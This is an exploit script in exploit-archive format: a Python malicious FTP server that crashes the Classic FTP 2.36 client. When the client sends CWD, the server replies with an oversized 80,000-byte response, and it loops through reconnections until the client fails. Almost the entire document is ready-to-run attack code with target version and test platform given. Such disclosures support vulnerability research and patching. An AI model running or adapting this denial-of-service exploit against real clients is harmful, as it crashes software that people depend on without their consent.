Classic FTP 2.36 – CWD Reconnection Denial of Service
#!/usr/bin/env python # # Exploit Title: Classic FTP v2.36 CWD Reconnection DOS # Date: 27/07/2015 # Exploit Author: St0rn <fabien[at]anbu-pentest[dot]com> # Vendor Homepage: www.nchsoftware.com # Software Link: www.nchsoftware.com/classic/cftpsetup.exe # Version: 2.36 # Tested on: Windows 7 # import socket import sys import time junk1="250 "+"a"*(80000-6)+"\r\n" c=1 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("",21)) s.listen(10) while 1: conn, addr = s.accept() print 'Connected with ' + addr[0] + ':' + str(addr[1]) conn.send("220 Classic FTP Xsploit\r\n") try: while 1: buf=conn.recv(1024) if "USER" in buf: conn.send("331 User name okay, need password\r\n") if "PASS" in buf: conn.send("230-Password accepted.\r\n") conn.send("230 User logged in.\r\n") if "CWD" in buf: conn.send(junk1) print "Evil Response send with %s bytes!" %len(junk1) print "Loop %s: \n\tWaiting client reconnection, crash in %s loop\n" %(c,(122-c)) if c==122: print "BOOMmMm!" c+=1 if "QUIT" in buf: break except: time.sleep(0) |